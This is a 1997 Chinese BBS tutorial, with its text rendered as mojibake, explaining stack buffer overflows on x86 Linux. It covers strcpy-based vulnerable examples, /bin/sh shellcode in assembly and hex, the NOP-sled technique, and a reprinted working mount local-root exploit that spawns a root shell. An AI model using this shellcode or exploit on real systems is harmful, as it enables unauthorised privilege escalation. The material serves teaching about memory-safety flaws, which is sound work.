PersonalCorpus °æ (¾«»ªÇø)

×÷  ¼Ò: able (¹ù¾¸) on board 'hacker'
Ìâ  Ä¿: »º³åÇøÒç³ö(buffer overflow)»úÀí·ÖÎö
À´  Ô´: ¹þ¶û±õ×϶¡ÏãÕ¾
ÈÕ  ÆÚ: Mon Jul 28 18:12:24 1997
³ö  ´¦: bbs@bbs.orange.sjtu.edu.cn

·¢ÐÅÈË: Only (ÔÚˮһ·½), ÐÅÇø: security
±ê  Ìâ: »º³åÇøÒç³ö(buffer overflow)»úÀí·ÖÎö
·¢ÐÅÕ¾: Òûˮ˼Դվ (Mon Jul 28 02:45:39 1997) , ×ªÐÅ

    ±¾ÎÄÄÚÈݽöÓÃÓÚ½ÌÓýÄ¿µÄ¡£×÷Õß²»±£Ö¤ÄÚÈݵÄÕýÈ·ÐÔ¡£ÈκÎÇé¿öÏ£¬×÷Õß²»
ΪÓÉÓÚʹÓÃÎÄÖÐÄÚÈݶøÒýÆðµÄÈκÎÆÆ»µ»òÎÊÌ⸺Ôð¡£Ê¹Óñ¾ÎÄÄÚÈݵķçÏÕÓÉʹÓÃ
Õß×Ô¼º³Ðµ£¡£

                     ¼ÆËã»úÓ¦Óù¤×÷ÊÒ1997Äê°æȨËùÓÐ

            ##########################################
                »º³åÇøÒç³ö(buffer overflow)»úÀí·ÖÎö
            ##########################################

                            Only 1997.7.19
                      Only.bbs@bbs.sjtu.edu.cn

1.ʲôÊÇ»º³åÇøÒç³ö?
~~~~~~~~~~~~~~~~~~~
    buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...Ö¸µÄÊÇÒ»ÖÖϵͳ¹¥»÷µÄÊÖ
¶Î£¬Í¨¹ýÍù³ÌÐòµÄ»º³åÇøд³¬³öÆ䳤¶ÈµÄÄÚÈÝ£¬Ôì³É»º³åÇøµÄÒç³ö£¬´Ó¶øÆÆ»µ³Ì
ÐòµÄ¶ÑÕ»£¬Ê¹³ÌÐòת¶øÖ´ÐÐÆäËüÖ¸ÁÒÔ´ïµ½¹¥»÷µÄÄ¿µÄ¡£¾Ýͳ¼Æ£¬Í¨¹ý»º³åÇø
Òç³ö½øÐеĹ¥»÷Õ¼ËùÓÐϵͳ¹¥»÷×ÜÊýµÄ80%ÒÔÉÏ¡£
    Ôì³É»º³åÇøÒç³öµÄÔ­ÒòÊdzÌÐòÖÐûÓÐ×Ðϸ¼ì²éÓû§ÊäÈëµÄ²ÎÊý¡£ÀýÈçÏÂÃæ³Ì
Ðò:

example1.c
----------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}
----------------------------------------------------------------------

    ÉÏÃæµÄstrcpy()½«Ö±½Ó°ÉstrÖеÄÄÚÈÝcopyµ½bufferÖС£ÕâÑùÖ»ÒªstrµÄ³¤¶È
´óÓÚ16£¬¾Í»áÔì³ÉbufferµÄÒç³ö£¬Ê¹³ÌÐòÔËÐгö´í¡£´æÔÚÏóstrcpyÕâÑùµÄÎÊÌâµÄ
±ê×¼º¯Êý»¹ÓÐstrcat(),sprintf(),vsprintf(),gets(),scanf(),ÒÔ¼°ÔÚÑ­»·ÄÚµÄ
getc(),fgetc(),getchar()µÈ¡£
    µ±È»£¬Ëæ±ãÍù»º³åÇøÖÐÌÎ÷Ôì³ÉËüÒç³öÒ»°ãÖ»»á³öÏÖSegmentation fault
´íÎ󣬶ø²»ÄÜ´ïµ½¹¥»÷µÄÄ¿µÄ¡£×î³£¼ûµÄÊÖ¶ÎÊÇͨ¹ýÖÆÔ컺³åÇøÒç³öʹ³ÌÐòÔËÐÐ
Ò»¸öÓû§shell£¬ÔÙͨ¹ýshellÖ´ÐÐÆäËüÃüÁî¡£Èç¹û¸Ã³ÌÐòÊôÓÚrootÇÒÓÐsuidȨÏÞ
µÄ»°£¬¹¥»÷Õ߾ͻñµÃÁËÒ»¸öÓÐrootȨÏÞµÄshell£¬¿ÉÒÔ¶Ôϵͳ½øÐÐÈÎÒâ²Ù×÷ÁË¡£
    Çë×¢Ò⣬Èç¹ûûÓÐÌرð˵Ã÷£¬ÏÂÃæµÄÄÚÈݶ¼¼ÙÉèÓû§Ê¹ÓõÄƽ̨Ϊ»ùÓÚIntel
x86 CPUµÄLinuxϵͳ¡£¶ÔÆäËüƽ̨À´Ëµ£¬±¾ÎĵĸÅÄîͬÑùÊÊÓ㬵«³ÌÐòÒª×öÏàÓ¦
Ð޸ġ£

2.ÖÆÔ컺³åÇøÒç³ö
~~~~~~~~~~~~~~~~
    Ò»¸ö³ÌÐòÔÚÄÚ´æÖÐͨ³£·ÖΪ³ÌÐò¶Î£¬Êý¾Ý¶ËºÍ¶ÑÕ»Èý²¿·Ö¡£³ÌÐò¶ÎÀï·Å×ųÌ
ÐòµÄ»úÆ÷ÂëºÍÖ»¶ÁÊý¾Ý¡£Êý¾Ý¶Î·ÅµÄÊdzÌÐòÖеľ²Ì¬Êý¾Ý¡£¶¯Ì¬Êý¾ÝÔòͨ¹ý¶ÑÕ»
À´´æ·Å¡£ÔÚÄÚ´æÖУ¬ËüÃǵÄλÖÃÊÇ:

                          +------------------+  ÄÚ´æµÍ¶Ë
                          |       ³ÌÐò¶Î     |  
                          |------------------|
                          |       Êý¾Ý¶Î     |
                          |------------------|
                          |        ¶ÑÕ»      |
                          +------------------+  ÄÚ´æ¸ß¶Ë

    µ±³ÌÐòÖз¢Éúº¯Êýµ÷ÓÃʱ£¬¼ÆËã»ú×öÈçϲÙ×÷£ºÊ×ÏȰѲÎÊýѹÈë¶ÑÕ»£»È»ºó
±£´æÖ¸Áî¼Ä´æÆ÷(IP)ÖеÄÄÚÈÝ×öΪ·µ»ØµØÖ·(RET)£»µÚÈý¸ö·ÅÈë¶ÑÕ»µÄÊÇ»ùÖ·¼Ä
´æÆ÷(FP)£»È»ºó°Ñµ±Ç°µÄÕ»Ö¸Õë(SP)¿½±´µ½FP£¬×öΪеĻùµØÖ·£»×îºóΪ±¾µØ±ä
Á¿Áô³öÒ»¶¨¿Õ¼ä£¬°ÑSP¼õÈ¥Êʵ±µÄÊýÖµ¡£ÒÔÏÂÃæ³ÌÐòΪÀý£º

example2.c
----------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';

  function(large_string);
}
----------------------------------------------------------------------

    µ±µ÷Óú¯Êýfunction()ʱ£¬¶ÑÕ»ÈçÏÂ:

µÍÄÚ´æ¶Ë       buffer       sfp   ret  *str         ¸ßÄÚ´æ¶Ë
<------  [               ][    ][    ][    ]
Õ»¶¥                                                    Õ»µ×

    ²»ÓÃ˵£¬³ÌÐòÖ´ÐеĽá¹ûÊÇ"Segmentation fault (core dumped)"»òÀàËƵÄ
³ö´íÐÅÏ¢¡£ÒòΪ´Óbuffer¿ªÊ¼µÄ256¸ö×Ö½Ú¶¼½«±»*strµÄÄÚÈÝ'A'¸²¸Ç£¬°üÀ¨sfp,
ret,ÉõÖÁ*str¡£'A'µÄÊ®Áù½øֵΪ0x41£¬ËùÒÔº¯ÊýµÄ·µ»ØµØÖ·±ä³ÉÁË0x41414141,
Õⳬ³öÁ˳ÌÐòµÄµØÖ·¿Õ¼ä£¬ËùÒÔ³öÏֶδíÎó¡£

3.ͨ¹ý»º³åÇøÒç³ö»ñµÃÓû§SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Èç¹ûÔÚÒç³öµÄ»º³åÇøÖÐдÈëÎÒÃÇÏëÖ´ÐеĴúÂ룬ÔÙ¸²¸Ç·µ»ØµØÖ·(ret)µÄÄÚ
ÈÝ£¬Ê¹ËüÖ¸Ïò»º³åÇøµÄ¿ªÍ·£¬¾Í¿ÉÒÔ´ïµ½ÔËÐÐÆäËüÖ¸ÁîµÄÄ¿µÄ¡£

µÍÄÚ´æ¶Ë       buffer       sfp   ret  *str         ¸ßÄÚ´æ¶Ë
<------  [               ][    ][    ][    ]
Õ»¶¥      ^                        |                    Õ»µ×
          |________________________|

    Í¨³££¬ÎÒÃÇÏëÔËÐеÄÊÇÒ»¸öÓû§shell¡£ÏÂÃæÊÇÒ»¶ÎдµÃºÜƯÁÁµÄshell´úÂë

example3.c
----------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
                                        # 46 bytes total
");
}
----------------------------------------------------------------------

    ½«ÉÏÃæµÄ³ÌÐòÓûúÆ÷Âë±íʾ¼´¿ÉµÃµ½ÏÂÃæµÄÊ®Áù½øÖÆshell´úÂë×Ö·û´®¡£

example4.c
----------------------------------------------------------------------
char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}
----------------------------------------------------------------------
 
    Õâ¸ö³ÌÐòËù×öµÄÊÇ£¬ÔÚlarge_stringÖÐÌîÈëbufferµÄµØÖ·£¬²¢°Ñshell´úÂë
·Åµ½large_stringµÄÇ°Ã沿·Ö¡£È»ºó½«large_string¿½±´µ½bufferÖУ¬Ôì³ÉËüÒç
³ö£¬Ê¹·µ»ØµØÖ·±äΪbuffer£¬¶øbufferµÄÄÚÈÝΪshell´úÂë¡£ÕâÑùµ±³ÌÐòÊÔ´Ó
strcpy()Öзµ»Øʱ£¬¾Í»áת¶øÖ´ÐÐshell¡£

4.ÀûÓûº³åÇøÒç³ö½øÐеÄϵͳ¹¥»÷
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Èç¹ûÒÑ֪ij¸ö³ÌÐòÓлº³åÇøÒç³öµÄȱÏÝ£¬ÈçºÎÖªµÀ»º³åÇøµÄµØÖ·£¬ÔÚÄǶù·Å
Èëshell´úÂëÄØ£¿ÓÉÓÚÿ¸ö³ÌÐòµÄ¶ÑÕ»ÆðʼµØÖ·Êǹ̶¨µÄ£¬ËùÒÔÀíÂÛÉÏ¿ÉÒÔͨ¹ý
·´¸´ÖØÊÔ»º³åÇøÏà¶ÔÓÚ¶ÑÕ»ÆðʼλÖõľàÀëÀ´µÃµ½¡£µ«ÕâÑùµÄäĿ²Â²â¿ÉÄÜÒª½ø
ÐÐÊý°ÙÉÏǧ´Î£¬Êµ¼ÊÉÏÊDz»ÏÖʵµÄ¡£½â¾öµÄ°ì·¨ÊÇÀûÓÿÕÖ¸ÁîNOP¡£ÔÚshell´úÂë
Ç°Ãæ·ÅÒ»³¤´®µÄNOP£¬·µ»ØµØÖ·¿ÉÒÔÖ¸ÏòÕâÒ»´®NOPÖÐÈÎһλÖã¬Ö´ÐÐÍêNOPÖ¸Áî
ºó³ÌÐò½«¼¤»îshell½ø³Ì¡£ÕâÑù¾Í´ó´óÔö¼ÓÁ˲ÂÖеĿÉÄÜÐÔ¡£

µÍÄÚ´æ¶Ë            buffer           sfp   ret  *str          ¸ßÄÚ´æ¶Ë
<------  [NNNNNNNSSSSSSSSSSSSSSSSS][    ][    ][    ]
Õ»¶¥        ^                               |                     Õ»µ×
            |_______________________________|

    Í¼ÖУ¬N´ú±íNOP£¬S´ú±íshell¡£ÏÂÃæÊÇÒ»¸ö»º³åÇøÒç³ö¹¥»÷µÄʵÀý£¬ËüÀûÓÃ
ÁËϵͳ³ÌÐòmountµÄ©¶´£º

example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   (void)alarm((u_int)0);
   printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
   execl(PATH_MOUNT, "mount", buff, NULL);
}

----------------------------------------------------------------------

    ³ÌÐòÖÐget_esp()º¯ÊýµÄ×÷ÓþÍÊǶ¨Î»¶ÑջλÖᣳÌÐòÊ×ÏÈ·ÖÅäÒ»¿éÔÝ´æÇø
buff,È»ºóÔÚbuffµÄÇ°Ã沿·ÖÌîÂúNOP£¬ºóÃ沿·Ö·Åshell´úÂë¡£×îºó²¿·ÖÊÇÏ£Íû
³ÌÐò·µ»ØµÄµØÖ·£¬ÓÉÕ»µØÖ·¼ÓÆ«ÒƵõ½¡£µ±ÒÔbuffΪ²ÎÊýµ÷ÓÃmountʱ£¬½«Ôì³É
mount³ÌÐòµÄ¶ÑÕ»Òç³ö£¬Æ仺³åÇø±»buff¸²¸Ç£¬¶ø·µ»ØµØÖ·½«Ö¸ÏòNOPÖ¸Áî¡£
     ÓÉÓÚmount³ÌÐòµÄÊôÖ÷ÊÇrootÇÒÓÐsuid룬ÆÕͨÓû§ÔËÐÐÉÏÃæ³ÌÐòµÄ½á¹û½«
»ñµÃÒ»¸ö¾ßÓÐrootȨÏÞµÄshell¡£










--
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
€€           You are the Only one                 €
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€

¡ù À´Ô´:¡¤Òûˮ˼Դվ bbs.sjtu.edu.cn¡¤[FROM: news]

--
¡ù À´Ô´:¡¤¹þ¶û±õ×϶¡ÏãÕ¾ bbs1.hit.edu.cn¡¤[FROM: bbs@bbs.orange.sjtu.] 
[°Ù±¦Ïä] [·µ»ØÊ×Ò³] [Éϼ¶Ä¿Â¼] [¸ùĿ¼] [·µ»Ø¶¥²¿] [Ë¢ÐÂ] [·µ»Ø]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
Ò³ÃæÖ´ÐÐʱ¼ä£º7.120ºÁÃë